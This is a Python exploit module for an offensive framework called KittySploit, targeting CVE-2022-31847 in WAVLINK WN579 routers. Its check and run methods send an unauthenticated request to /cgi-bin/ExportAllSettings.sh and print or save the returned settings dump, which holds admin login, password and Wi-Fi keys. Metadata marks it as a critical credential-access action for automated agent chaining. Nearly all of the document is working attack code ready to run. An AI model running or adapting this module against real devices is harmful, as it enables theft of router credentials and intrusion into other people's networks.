WAVLINK Router Credential Leak (CVE-2022-31847)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WAVLINK ExportAllSettings credential leak (CVE-2022-31847)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'WAVLINK Router Credential Leak (CVE-2022-31847)',
        'description': (
            'Exploits CVE-2022-31847 in WAVLINK WN579: unauthenticated GET to '
            '/cgi-bin/ExportAllSettings.sh exposes admin Login/Password and Wi-Fi keys.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-31847'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-31847'],
        'tags': ['wavlink', 'router', 'credential-leak', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2022_31847_detect']},
        },
    }

    output_file = OptString('', 'Save settings dump locally', required=False)

    def check(self):
        r = self.http_request(method='GET', path='/cgi-bin/ExportAllSettings.sh', allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('Login=', 'Password=', 'Model=')):
            return {'vulnerable': True, 'reason': 'WAVLINK settings leak confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ExportAllSettings failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('WAVLINK router not vulnerable')
            return False
        r = self.http_request(method='GET', path='/cgi-bin/ExportAllSettings.sh', allow_redirects=False)
        body = (r.text or '') if r else ''
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        else:
            print_success(body[:4000])
        return True